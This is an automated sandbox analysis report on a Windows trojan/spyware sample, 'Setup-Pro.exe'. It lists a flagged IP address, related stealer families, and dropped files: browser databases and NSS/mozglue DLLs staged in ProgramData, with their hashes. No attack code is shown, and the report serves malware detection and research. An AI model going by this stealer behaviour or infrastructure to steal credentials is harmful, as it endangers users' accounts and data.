IP	Domain	Country	Flag	ASN	ASN Name	Malicious
45.66.249.162	unknown	Russian Federation		53356	FREERANGECLOUDCA	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1531862
Start date and time:	2024-10-11 22:31:09 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 48s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	7
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Setup-Pro.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@3/27@0/1
EGA Information:	Successful, ratio: 50%
HCA Information:	Successful, ratio: 100% Number of executed functions: 82 Number of non-executed functions: 126
Cookbook Comments:	Found application associated with file extension: .exe Stop behavior analysis, all processes terminated

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, SIHClient.exe, conhost.exe
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target Setup-Pro.exe, PID 7596 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: Setup-Pro.exe

Simulations

Behavior and APIs

⊘No simulations

Joe Sandbox View / Context

IPs

⊘No context

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
FREERANGECLOUDCA	forest.exe	Get hash	malicious	Unknown	Browse	45.66.249.249
	forest.exe	Get hash	malicious	Unknown	Browse	45.66.249.249
	arm.elf	Get hash	malicious	Mirai, Moobot	Browse	23.129.35.4
	SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	Get hash	malicious	Raccoon Stealer v2	Browse	193.142.147.59
	SecuriteInfo.com.Trojan.PackedNET.2334.3801.19434.exe	Get hash	malicious	PureLog Stealer, Raccoon Stealer v2, SmokeLoader	Browse	193.142.147.59
	Setup.exe	Get hash	malicious	AsyncRAT, HTMLPhisher, Clipboard Hijacker, Phorpiex, PureLog Stealer, Raccoon Stealer v2, RedLine	Browse	193.142.147.59
	http://www.brookskushman.com	Get hash	malicious	Unknown	Browse	45.66.248.122
	http://www.prestigetransportation.com	Get hash	malicious	Unknown	Browse	45.66.248.122
	https://dutchpopp.com	Get hash	malicious	Unknown	Browse	45.66.248.122
	http://muse.krazzykriss.com	Get hash	malicious	Unknown	Browse	45.66.248.122

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	SecuriteInfo.com.Win32.Evo-gen.28528.9811.exe	Get hash	malicious	LummaC, Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
C:\ProgramData\mozglue.dll	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	SecuriteInfo.com.Win32.Evo-gen.28528.9811.exe	Get hash	malicious	LummaC, Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\AAFBAKEC

Download File

Process:	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 7, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1209886597424439
Encrypted:	false
SSDEEP:	192:r2qAdB9TbTbuDDsnxCkvSAE+WslKOMq+8QbnVcxjONC4Je5Q:r2qOB1nxCkvSAELyKOMq+8QTQKC+
MD5:	EFD26666EAE0E87B32082FF52F9F4C5E
SHA1:	603BFE6A7D6C0EC4B8BA1D38AEA6EFADDC42B5E0
SHA-256:	67D4CAA4255418EB18873F01597D1F4257C4146D1DCED78E26D5FD76B783F416
SHA-512:	28ADD7B8D88795F191567FD029E9F8BC9AEF7584CE3CD56DB40BBA52BC8335F2D8E53A5CE44C153C13A31FD0BE1D76D1E558A4AA5987D5456C000C4D64F08EAA
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\AEHIDAKECFIEBGDHJEBKKKKJKK

Download File

Process:	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8475592208333753
Encrypted:	false
SSDEEP:	24:TLyAF1kwNbXYFpFNYcw+6UwcQVXH5fBOF30AvJ3qj/880C4pwE1:TeAFawNLopFgU10XJBORJ6px4p7
MD5:	BE99679A2B018331EACD3A1B680E3757
SHA1:	6E6732E173C91B0C3287AB4B161FE3676D33449A
SHA-256:	C382A020682EDEE086FBC56D11E70214964D39318774A19B184672E9FD0DD3E0
SHA-512:	9CFE1932522109D73602A342A15B7326A3E267B77FFF0FC6937B6DD35A054BF4C10ED79D34CA38D56330A5B325E08D8AFC786A8514C59ABB896864698B6DE099
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\BKJEGDGI

Download File

Process:	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1373607036346451
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c9G/k4:MnlyfnGtxnfVuSVumEHUM4
MD5:	64BCCF32ED2142E76D142DF7AAC75730
SHA1:	30AB1540F7909BEE86C0542B2EBD24FB73E5D629
SHA-256:	B274913369030CD83E1C76E8D486F501E349D067824C6A519F2DAB378AD0CC09
SHA-512:	0C2B4FC0D38F97C8411E1541AB15B78C57FEA370F02C17F8CB26101A936F19E636B02AF1DF2A62C8EAEE6B785FE17879E2723D8618C9C3C8BD11EB943BA7AB31
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\CBGCAFIIECBFIDHIJKFB

Download File

Process:	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\FIJECAEHJJJKJKFIDGCB

Download File

Process:	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
File Type:	ASCII text, with very long lines (1765), with CRLF line terminators
Category:	dropped
Size (bytes):	9976
Entropy (8bit):	5.499944288613473
Encrypted:	false
SSDEEP:	192:NzKneRdpYbBp6znmUzaX/6aRMKWPzDNBw8DK9mSl:Nz5eUmUtgmrwbw0
MD5:	42594FD09C4DF3B174CF5D59B1CAB13A
SHA1:	1B78FEB748C36A592C468A76BB60E98187D7BE4A
SHA-256:	F8B55E3B04E0A59BB745C43763D8FBC1CFFDBC247B5525A489B4B74A57319393
SHA-512:	E2430AB14ADF2EF1CC2CB1F96DEADAFB3598B803A5E7724FDDB68ACF015D7E052291626A3D100FED902731DBFD10A9AE3387581AD2867F64D0B27E8D51B9069F
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "38829aa4-f57e-4fd8-bfd3-d094d57ae30f");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696493966);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696493970);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\HCBAKJEHDBGHIEBGCGDGHCAKEB

Download File

Process:	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\HJEHIJEBKEBFBFHIIDHIIDGIJE

Download File

Process:	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.03708713717387235
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxW/Hy4XJwvnzfXfYf6zfTfN/0DApVJCI:58r54w0VW3xW/bXWzvACzbJ0DApVJ
MD5:	85D6E1D7F82C11DAC40C95C06B7B5DC5
SHA1:	96EA790BA7A295D78AD5A5019D7EA5E9E8F4B0BD
SHA-256:	D9AD18D2A91CB42FD55695B562D76337BBB4A6AEB45D28C4554297B4EE0DC800
SHA-512:	5DD2B75138EFB9588E14997D84C23C8225F9BFDCEA6A2A1D542AD2C6728484E7E578F06C4BA238853EAD9BE5F9A7CCCF7B2B49A0583FF93D67F072F2C5165B14
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IDHIDBAEGIIIDHJKEGDB

Download File

Process:	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KKJKFBKKECFHJKEBKEHIDAEBKF

Download File

Process:	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Win32.Evo-gen.28528.9811.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Win32.Evo-gen.28528.9811.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\freebl3[1].dll

Download File

Process:	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\mozglue[1].dll

Download File

Process:	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\msvcp140[1].dll

Download File

Process:	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\nss3[1].dll

Download File

Process:	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
